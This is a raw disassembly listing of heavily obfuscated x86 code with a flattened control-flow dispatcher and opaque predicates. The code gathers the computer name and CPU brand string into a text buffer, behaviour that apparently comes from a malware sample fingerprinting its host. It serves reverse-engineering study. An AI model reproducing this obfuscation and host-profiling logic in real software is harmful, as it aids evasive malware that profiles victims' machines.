mov ecx, 0x892dc24b
jmp 0x4415ef
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
push eax
push dword [esi + 0x10]
push dword [esi + 0x68]
push dword [ebp + 8]
call fcn.00423cc8
add esp, 0x10
mov eax, dword [esi + 0x68]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x20]
mov dword [esi + 4], 0xfc1b5cbe
jmp 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 5
imul ecx, eax, 0xb3
mov dword [esi + 8], ecx
mov eax, 0xf6f31fa8
cmp ecx, 0x52
je 0x4419da
mov eax, 0x124e43ce
jmp 0x4419da
mov eax, dword [esi + 0xc]
mov ecx, 0xd4
add eax, ecx
mov ecx, eax
shr ecx, 1
imul eax, eax
imul edx, eax, 0x73e9
dec edx
imul ecx, ecx, 0x8b34
add ecx, 0xffce65d8
mov dword [esi + 0xc], ecx
mov ecx, 0xeb8fa61f
cmp eax, edx
je 0x4415ef
mov ecx, 0x6085343c
jmp 0x4415ef
mov eax, dword [esi + 0xc]
shr eax, 5
movzx eax, ax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x10e3
dec edx
shr eax, 3
mov dword [esi + 0xc], eax
mov eax, 0x544a648a
cmp edx, ecx
je 0x441ad4
mov eax, 0x6974e1de
jmp 0x441ad4
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x194]
mov word [eax + ecx], pe_nt_image_headers32
push dword [esi + 0xfc]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov dword [esi + 0x198], eax
mov dword [esi + 4], 0x63ec7fa0
jmp 0x43c5f4
mov edi, dword [esi + 8]
shr edi, 9
add edi, 0xffffffb3
mov dword [esi + 8], edi
push edi
push 0xd6
push 0x213a
call fcn.00429e5e
add esp, 0xc
call fcn.00407b67
mov eax, 0x8d6bc596
cmp edi, 0x46
jb 0x4419da
mov eax, 0x44eb1583
jmp 0x4419da
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0x5511d7ab
jmp 0x43c5f4
push 0xa
push dword [esi + 0xfc]
push dword [esi + 0x144]
call fcn.00459098
add esp, 0xc
push 1
push 0x4000
call fcn.0045aa23
add esp, 8
mov dword [esi + 0x10], eax
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x148], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi + 4], 0xcc903aaa
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 0xc
add eax, 0xffffffab
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x1fe1638
jmp 0x43c5f4
mov eax, dword [esi + 0x118]
mov ecx, dword [esi + 0x11c]
shrd eax, ecx, 0xa
shr ecx, 0xa
mov dword [esi + 0x124], ecx
mov dword [esi + 0x120], eax
mov dword [esi + 4], 0x2de43c62
jmp 0x43c5f4
imul edi, dword [esi + 8], 0xbe
add edi, 0x9c1d
mov dword [esi + 8], edi
push edi
call fcn.0043c5dc
add esp, 4
push 0x1a11
push 0x139b
push 0x393c
push edi
call fcn.00441b30
add esp, 0x10
mov eax, 0xd7f59a15
cmp edi, 0x27
jge 0x4419da
mov eax, 0x74984231
jmp 0x4419da
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff65
add eax, ecx
imul ecx, eax, 0x3ff9
imul eax, eax
imul edx, eax, 0x7d1
dec edx
add ecx, 0xffffff5b
mov dword [esi + 0xc], ecx
mov ecx, 0x73342376
cmp eax, edx
je 0x4415ef
mov ecx, 0xccf78174
jmp 0x4415ef
mov eax, dword [esi + 0x1f8]
mov word [eax], 0
mov dword [esi + 4], 0x8d4b6c74
jmp 0x43c5f4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x7c]
mov byte [eax + 0xf], 0
push 0xf
push 0x47e030
push dword [esi + 0x7c]
call fcn.0044ac30
add esp, 0xc
mov dword [esi + 4], 0x5963f80b
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
imul ecx, eax, 0xf1
imul ecx, ecx
imul edx, ecx, 0x218f
dec edx
imul eax, eax, 0x1e2000
mov dword [esi + 0xc], eax
mov eax, 0x702affc8
cmp ecx, edx
je 0x441ad4
mov eax, 0xb868d1be
jmp 0x441ad4
mov eax, dword [esi + 0xc]
shr eax, 5
lea ecx, [eax + 0x2c]
add eax, 0xffffff8b
imul ecx, ecx
imul edx, ecx, 0x46c7
dec edx
shr eax, 0xf
mov dword [esi + 0xc], eax
mov eax, 0x8545688
cmp edx, ecx
je 0x441ad4
mov eax, 0x948b4e36
jmp 0x441ad4
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x158], eax
mov dword [esi + 4], 0x69f4ad
jmp 0x43c5f4
mov edi, 0x1d
push edi
push 0x47e160
push dword [esi + 0xf0]
call fcn.0044ac30
add esp, 0xc
push 7
push 0x47e17d
push edi
push dword [esi + 0xf0]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0x1c80085c
jmp 0x43c5f4
mov eax, dword [esi + 0x64]
mov dword [eax], 0xa424d
mov dword [esi + 4], 0x4db70e68
jmp 0x43c5f4
push 0xa
push dword [esi + 0xf8]
push dword [esi + 0x138]
call fcn.00459098
add esp, 0xc
mov dword [esi + 4], 0x41d92439
jmp 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 6
and eax, 0xffffffc0
add eax, 0xd80
and eax, 0x7fffc00
or eax, 0xfd
mov dword [esi + 8], eax
mov dword [esi + 4], 0xa32a6cc8
jmp 0x43c5f4
mov eax, dword [esi + 0x16c]
mov byte [eax], 0
mov eax, dword [esi + 0x8c]
mov ecx, dword [0x47e059]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e055]
mov dword [eax], ecx
push 5
push 0x47e05d
push 8
push dword [esi + 0x8c]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0x60f7684c
jmp 0x43c5f4
mov eax, dword [esi + 0x9c]
add eax, 0x17
mov dword [esi + 0x17c], eax
mov dword [esi + 4], 0xc97b0f5c
jmp 0x43c5f4
push 0x1e
push dword [esi + 0xf0]
push dword [esi + 0x60]
call fcn.0044ac30
add esp, 0xc
push dword [esi + 0x60]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0x9f118ce7
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 0xb
imul ecx, eax, 0xe6
imul eax, eax
imul edx, eax, 0x12b
dec edx
add ecx, 0xfffe51a6
mov dword [esi + 0xc], ecx
mov ecx, 0x6f12b219
cmp eax, edx
je 0x4415ef
mov ecx, 0x7e308d03
jmp 0x4415ef
mov eax, dword [esi + 0x18]
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0x73991739
jmp 0x43c5f4
imul eax, dword [esi + 0xc], 0x43
shr eax, 9
add eax, 0xffffffe9
imul eax, eax
imul edx, eax, 0x83f3
dec edx
mov dword [esi + 0xc], 0xffffff81
mov ecx, 0xbfe38ca0
cmp eax, edx
je 0x4415ef
mov ecx, 0x6fa6ffb7
jmp 0x4415ef
push dword [esi + 0x2c]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x28]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0xfb727085
jmp 0x43c5f4
imul eax, dword [esi + 0xc], 0xef
add eax, 0x53
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7193
shr eax, 0xb
and eax, 0x3ffff
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x9449afe7
cmp edx, ecx
je 0x441ad4
mov eax, 0x9ce38987
jmp 0x441ad4
mov eax, dword [esi + 0x5c]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x5c]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov eax, dword [esi + 0x20]
add eax, 0x24
push eax
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov dword [esi + 0x1e8], eax
mov dword [esi + 4], 0x5125f621
jmp 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 4
imul ecx, eax, 0x8e3e
add ecx, 0xffcbc53c
mov dword [esi + 8], ecx
mov eax, 0xb76d1135
cmp ecx, 0x99
jge 0x441ad4
mov eax, 0x573d535a
jmp 0x441ad4
mov eax, dword [esi + 0x90]
mov byte [eax + 0xa], 0
mov eax, dword [esi + 0x90]
movzx ecx, word [0x47e06a]
mov word [eax + 8], cx
mov ecx, dword [0x47e066]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e062]
mov dword [eax], ecx
mov dword [esi + 4], 0xd07c9f2c
jmp 0x43c5f4
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0xebcb402f
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 7
add eax, 0x81
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x501bf4fd
jmp 0x43c5f4
mov eax, dword [esi + 0x6c]
add eax, 0x14
mov dword [esi + 0x134], eax
mov dword [esi + 4], 0x8a09f1a1
jmp 0x43c5f4
mov eax, dword [esi + 0x178]
mov word [eax], 0xa
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0xd2b4bc12
jmp 0x43c5f4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa0], eax
mov dword [esi + 4], 0x44a5b3ed
jmp 0x43c5f4
mov eax, dword [esi + 0x140]
xor edi, edi
inc edi
push edi
call eax
mov dword [esi + 0x144], eax
push edi
push 0x20
call fcn.0045aa23
add esp, 8
mov dword [esi + 0xf8], eax
mov dword [esi + 4], 0x43c33c99
jmp 0x43c5f4
imul edi, dword [esi + 8], 0x72
add edi, 0xffffc538
shr edi, 0xf
and edi, 0xfffffffc
add edi, 0x290
mov dword [esi + 8], edi
push 0x486
push 0x466a
push edi
call fcn.00429e5e
add esp, 0xc
push 0x7c3
push 0xc0c
push edi
push 0x4914
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0xb76d1135
jmp 0x43c5f4
imul ecx, dword [esi + 8], 0x7b2400
add ecx, 0xff7c2f3d
mov eax, ecx
shr eax, 6
mov dword [esi + 8], eax
mov eax, 0x8f1e0318
cmp ecx, 0x20c0
jae 0x441ad4
mov eax, 0xcc903aaa
jmp 0x441ad4
imul eax, dword [esi + 0xc], 0x3f4000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x337bd74f
jmp 0x43c5f4
mov edi, dword [esi + 8]
shl edi, 0xe
add edi, 0xffffff37
mov ebx, edi
shr ebx, 8
mov dword [esi + 8], ebx
call fcn.00407b67
push 0x4d36
push 0x942
push 0x53d1
push ebx
call fcn.00441b30
add esp, 0x10
mov eax, 0xcc903aaa
cmp edi, 0x8d00
jae 0x441ad4
mov eax, 0xe5acd740
jmp 0x441ad4
mov eax, dword [esi + 0x1ec]
mov word [eax], 0xa
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x24]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xec], eax
mov dword [esi + 4], 0xe66bf2d
jmp 0x43c5f4
mov dword [esi + 4], 0xf80ef965
jmp 0x43c5f4
mov dword [esi + 4], 0xb231cbe5
jmp 0x43c5f4
mov edi, dword [esi + 8]
mov eax, 0x9f
add edi, eax
mov eax, edi
shr eax, 2
mov dword [esi + 8], eax
push eax
call fcn.0043c5dc
add esp, 4
mov eax, 0x7ab738d1
cmp edi, 0xd0
jae 0x441ad4
mov eax, 0xfb6f4167
jmp 0x441ad4
imul edi, dword [esi + 8], 0x191a
mov dword [esi + 8], edi
push edi
push 0x31d0
push 0x24dc
push 0x5f1d
call fcn.00441b30
add esp, 0x10
mov eax, 0x2faba793
cmp edi, 0x65
jb 0x4419da
mov eax, 0xe5dfa1d0
jmp 0x4419da
mov eax, dword [esi + 0x74]
mov byte [eax + 0xf], 0
mov edi, 0xf
push edi
push 0x47e00c
push dword [esi + 0x74]
call fcn.0044ac30
add esp, 0xc
push 6
push 0x47e01b
push edi
push dword [esi + 0x74]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0x6508c43c
jmp 0x43c5f4
mov eax, dword [esi + 8]
mov ecx, 0xffffff12
add eax, ecx
shr eax, 4
lea eax, [eax*8 + 0x4a0]
mov dword [esi + 8], eax
push eax
call fcn.0043c5dc
add esp, 4
mov dword [esi + 4], 0xd07c9f2c
jmp 0x43c5f4
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0x87
imul eax, eax
imul ecx, ecx, 0x10e000
imul edx, eax, 0x1793
dec edx
shr ecx, 0xd
mov dword [esi + 0xc], ecx
mov ecx, 0x2b4829da
cmp edx, eax
je 0x4415ef
mov ecx, 0x89ecbea8
jmp 0x4415ef
imul edi, dword [esi + 8], 0x37
mov ebx, edi
shr ebx, 0x18
mov dword [esi + 8], ebx
call fcn.00407b67
push ebx
call fcn.0043c5dc
add esp, 4
mov eax, 0x7b8d484e
cmp edi, 0xbf000000
jae 0x4419da
mov eax, 0x62ffe5d7
jmp 0x4419da
push dword [esi + 0x48]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0x46d6d1cb
jmp 0x43c5f4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x198]
mov dword [esi + 0x19c], eax
mov dword [esi + 4], 0x605430bd
jmp 0x43c5f4
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x170]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0xf1da4ac8
jmp 0x43c5f4
mov ecx, dword [esi + 8]
shr ecx, 0xe
add ecx, 0xffffff48
mov eax, ecx
shr eax, 0xb
mov dword [esi + 8], eax
mov eax, 0xc45cd162
cmp ecx, 0x29000
jb 0x4419da
mov eax, 0xc6c0286
jmp 0x4419da
mov eax, dword [esi + 0xc]
shl eax, 0xf
add eax, 0xffbb0000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8a30bdf1
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0x3d]
imul ecx, ecx
imul edx, ecx, 0x1bfd
dec edx
add eax, 0xfffffeb4
mov dword [esi + 0xc], eax
mov eax, 0xfb24f015
cmp ecx, edx
je 0x441ad4
mov eax, 0x5b5a33b4
jmp 0x441ad4
mov ebx, dword [esi + 8]
shl ebx, 9
add ebx, 0xfffe15ce
mov edi, ebx
shr edi, 7
mov dword [esi + 8], edi
push edi
push 0x623f
push 0x2f85
call fcn.00429e5e
add esp, 0xc
push 0x5e7e
push 0xb1d
push edi
push 0x4ef0
call fcn.00441c50
add esp, 0x10
mov eax, 0x43ac84ec
cmp ebx, 0x6a80
jae 0x4419da
mov eax, 0x665dac5c
jmp 0x4419da
imul edi, dword [esi + 8], 0x750000
or edi, 0xc1
mov dword [esi + 8], edi
call fcn.00407b67
push 0x5ed
push 0x2c93
push edi
call fcn.00429e5e
add esp, 0xc
mov dword [esi + 4], 0x573d535a
jmp 0x43c5f4
mov eax, dword [esi + 0x38]
mov dword [esi + 4], 0x211ca85d
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
mov ecx, 0x183
add eax, ecx
shr eax, 3
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x48ed
dec edx
add eax, 0xffffffdf
mov dword [esi + 0xc], eax
mov eax, 0x2fb8494e
cmp edx, ecx
je 0x441ad4
mov eax, 0x44a8ae69
jmp 0x441ad4
mov eax, dword [esi + 0xc]
lea eax, [eax + eax*4]
shl eax, 4
add eax, 0xfffffffb
shr eax, 3
add eax, 0xf6
shr eax, 3
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x4b420ae1
jmp 0x43c5f4
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x90]
mov edx, dword [ecx + 7]
mov dword [eax + 7], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x5b5bca45
jmp 0x43c5f4
imul edi, dword [esi + 8], 0xb7
add edi, 0xffffbe3c
mov dword [esi + 8], edi
call fcn.00407b67
mov eax, 0xb76d1135
cmp edi, 0x6c
jb 0x441ad4
mov eax, 0x2d075e91
jmp 0x441ad4
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1e4]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x20]
mov dword [esi + 4], 0xfe7153dc
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
and eax, 0xffffffc0
shl eax, 8
imul eax, eax, 0xe30
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xdbb284e8
jmp 0x43c5f4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi + 4], 0xeba808fb
jmp 0x43c5f4
push dword [esi + 0x64]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov eax, dword [esi + 0x68]
mov dword [esi + 4], 0x7fc7bb20
jmp 0x43c5f4
push dword [esi + 0x18]
push dword [esi + 0x30]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0xf3e7f6a
jmp 0x43c5f4
mov eax, dword [esi + 0x8c]
add eax, 8
mov dword [esi + 0x16c], eax
mov dword [esi + 4], 0x2d2ce308
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 8
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5c47
dec edx
mov eax, 0x4182cf10
cmp edx, ecx
je 0x441ad4
mov eax, 0xea92231a
jmp 0x441ad4
mov ebx, dword [esi + 8]
shl ebx, 0x16
mov edi, 0xc3804fe4
add ebx, 0x31800000
mov dword [esi + 8], ebx
je 0x441323
mov edi, 0x3c48eef2
push 0x171c
push ebx
push 0x12c9
push 0x2e58
call fcn.00441b30
add esp, 0x10
push 0x23d7
push 0x59d5
push ebx
call fcn.00429e5e
add esp, 0xc
mov dword [esi + 4], edi
jmp 0x43c5f4
mov eax, dword [esi + 8]
lea edi, [eax*4 + 0xa9]
mov eax, edi
shr eax, 1
mov dword [esi + 8], eax
push 0x1690
push 0xfc7
push eax
call fcn.00429e5e
add esp, 0xc
call fcn.00407b67
mov eax, 0x7e308d03
cmp edi, 0x152
jb 0x4419da
mov eax, 0x8262104
jmp 0x4419da
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x4c]
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa8], eax
mov dword [esi + 4], 0x85feac09
jmp 0x43c5f4
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov dword [esi + 0x170], eax
mov dword [esi + 4], 0x5c57845f
jmp 0x43c5f4
push 4
push 0x47e02c
push 0xb
push dword [esi + 0x78]
call fcn.00441c50
add esp, 0x10
mov eax, dword [esi + 0x150]
mov ecx, dword [esi + 0x78]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x184b7ead
jmp 0x43c5f4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x1e8]
mov dword [esi + 0x1ec], eax
mov dword [esi + 4], 0xbcf9755f
jmp 0x43c5f4
imul ecx, dword [esi + 8], 0x3d00
add ecx, 0xffb0e500
and ecx, 0xffffc000
mov dword [esi + 8], ecx
mov eax, 0x742fe649
cmp ecx, 0x47
jge 0x4419da
mov eax, 0x81693e59
jmp 0x4419da
push dword [esi + 0x114]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov eax, dword [esi + 0x64]
mov dword [esi + 4], 0xb25bd189
jmp 0x43c5f4
push 6
push 0x47e159
push 0xc
push dword [esi + 0xe8]
call fcn.00441c50
add esp, 0x10
mov eax, dword [esi + 0x58]
mov ecx, dword [esi + 0xe8]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x58]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0x91e0d370
jmp 0x43c5f4
mov eax, dword [esi + 8]
lea edi, [eax + eax*2]
shl edi, 4
add edi, 0xffffff4f
mov dword [esi + 8], edi
call fcn.00407b67
push 0x54b3
push 0x4dc7
push edi
push 0x13bd
call fcn.00441c50
add esp, 0x10
mov eax, 0xd7f59a15
cmp edi, 0xa8
jge 0x441ad4
mov eax, 0x8a50d471
jmp 0x441ad4
push 0x14
push 0x472050
push dword [esi + 0xf4]
call fcn.0044ac30
add esp, 0xc
mov dword [esi + 4], 0xe88a10db
jmp 0x43c5f4
call fcn.00429636
push eax
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x1679ca20
jmp 0x43c5f4
mov eax, dword [esi + 0xac]
mov byte [eax + 0x14], 0
mov dword [esi + 4], 0x2cbd2feb
jmp 0x43c5f4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1d4]
mov dword [eax + 0x24], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1d8]
mov dword [eax + 0x28], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1dc]
mov dword [eax + 0x2c], ecx
mov eax, dword [esi + 0x58]
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xe8], eax
mov dword [esi + 4], 0x8b854bf1
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
add eax, 0x38
imul ecx, eax, 0x2dac
imul eax, eax
imul edx, eax, 0x8297
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xe482de3a
cmp edx, eax
je 0x4415ef
mov ecx, 0xb007f694
mov dword [esi + 4], ecx
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 0xa
and eax, 0xffffffe0
mov ecx, eax
shl ecx, 5
lea eax, [ecx + eax*2]
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x73342376
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
mov ecx, 0xbf
add eax, ecx
mov ecx, eax
imul ecx, eax
shl eax, 0xc
imul edx, ecx, 0x2ff7
dec edx
or eax, 0xa8
mov dword [esi + 0xc], eax
mov eax, 0x89708ae5
cmp edx, ecx
je 0x441ad4
mov eax, 0xe6ea9729
jmp 0x441ad4
imul eax, dword [esi + 0xc], 0x2dc00
or eax, 0x347
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xe291ce19
jmp 0x43c5f4
mov eax, dword [esi + 0xa0]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0xa0]
mov cl, byte [0x47e0e8]
mov byte [eax + 0xc], cl
mov ecx, dword [0x47e0e4]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e0e0]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e0dc]
mov dword [eax], ecx
push 4
push 0x47e0e9
push 0xd
push dword [esi + 0xa0]
call fcn.00441c50
add esp, 0x10
push dword [esi + 0x184]
push dword [esi + 0x188]
push dword [esi + 0x18c]
push dword [esi + 0x190]
push dword [esi + 0xa0]
push 0x7ff
push dword [esi + 0x108]
call fcn.00429e5e
add esp, 0x1c
mov eax, dword [esi + 0x48]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xa4], eax
mov dword [esi + 4], 0x1e268163
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 0xd
or eax, 0xbe
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x4d332d52
jmp 0x43c5f4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x174]
mov dword [esi + 0x178], eax
mov dword [esi + 4], 0x1d34faff
jmp 0x43c5f4
mov eax, dword [esi + 0x20]
mov dword [eax], 0x1a8
mov dword [esi + 4], 0xe9aedc9f
jmp 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 2
imul ecx, eax, 0xb7
mov dword [esi + 8], ecx
mov eax, 0x1300cda0
cmp ecx, 0xc1
je 0x4419da
mov eax, 0x2b4829da
jmp 0x4419da
imul eax, dword [esi + 0xc], 0x16a8ad0
add eax, 0x2fd24a90
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf6f31fa8
jmp 0x43c5f4
mov edi, dword [esi + 8]
mov eax, 0xffffff43
add edi, eax
mov dword [esi + 8], edi
call fcn.00407b67
mov eax, 0xbcf9755f
cmp edi, 0xfc
jge 0x4419da
mov eax, 0xa0844262
jmp 0x4419da
mov eax, dword [esi + 0xc]
and eax, 0xfffffff0
shl eax, 5
imul eax, eax, 0xef
or eax, 0x67
imul eax, eax, 0x74
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd9f4c74f
jmp 0x43c5f4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1a8]
mov dword [eax], ecx
mov dword [esi + 4], 0xf7d2225a
jmp 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 4
add eax, 0xfffff4f0
and eax, 0xffffc000
add eax, 0xfffffe36
mov dword [esi + 8], eax
push 0xfc1
push 0xa40
push 0x1ea8
push eax
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0x8a50d471
jmp 0x43c5f4
push 1
push 0x41
call fcn.0045aa23
add esp, 8
mov dword [esi + 0x14], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xb8], eax
mov dword [esi + 0xbc], ebx
mov dword [esi + 0xc0], ecx
mov dword [esi + 0xc4], edx
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov dword [esi + 0x1a8], eax
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov dword [esi + 0x1ac], eax
mov dword [esi + 4], 0x9966aa01
jmp 0x43c5f4
mov eax, dword [esi + 0x1b8]
mov ecx, dword [esi + 0x1c8]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
add eax, 0x14
mov dword [esi + 0x1cc], eax
mov dword [esi + 4], 0xca68a4bb
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 0xe
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5441
dec edx
mov eax, 0x8a50d471
cmp edx, ecx
je 0x441ad4
mov eax, 0xa54e5c91
jmp 0x441ad4
mov eax, dword [esi + 0xc]
add eax, 0xffffffd5
mov ecx, eax
imul ecx, eax
shr eax, 0xd
imul edx, ecx, 0x1115
dec edx
add eax, 0xfffffff9
mov dword [esi + 0xc], eax
mov eax, 0xeb8fa61f
cmp ecx, edx
je 0x441ad4
mov eax, 0x8456efa9
jmp 0x441ad4
push 8
push 0x47e03f
push 0xf
push dword [esi + 0x7c]
call fcn.00441c50
add esp, 0x10
mov eax, dword [esi + 0x158]
mov ecx, dword [esi + 0x7c]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.ZAriQe
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x15c], eax
push eax
mov eax, esp
mov dword [esi + 0x80], eax
mov dword [esi + 4], 0xd19c6e24
jmp 0x43c5f4
mov eax, dword [esi + 0xb4]
add eax, 0xc
mov dword [esi + 0x1a0], eax
mov dword [esi + 4], 0xf147251
jmp 0x43c5f4
imul ecx, dword [esi + 8], 0xb70
and ecx, 0xffffff00
or ecx, 0xe
mov dword [esi + 8], ecx
mov eax, 0xcf6efbf8
cmp ecx, 0x82
jl 0x4419da
mov eax, 0x51d32d19
mov dword [esi + 4], eax
jmp 0x43c5f4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1ac]
mov dword [eax + 4], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b0]
mov dword [eax + 8], ecx
mov dword [esi + 4], 0x57d1dc79
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shr eax, 9
add eax, eax
add eax, 0x120
shr eax, 0xb
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc8356203
jmp 0x43c5f4
mov edi, dword [esi + 8]
add edi, 0xffffffd8
mov dword [esi + 8], edi
call fcn.00407b67
mov eax, 0x42bd2fc1
cmp edi, 0x7f
jb 0x441ad4
mov eax, 0x1300cda0
jmp 0x441ad4
mov eax, dword [esi + 0xc]
shr eax, 8
lea ecx, [eax + 0x8b]
imul ecx, ecx
imul edx, ecx, 0x8111
dec edx
lea eax, [eax*8 + 0x448]
mov dword [esi + 0xc], eax
mov eax, 0xb97d3f16
cmp ecx, edx
je 0x441ad4
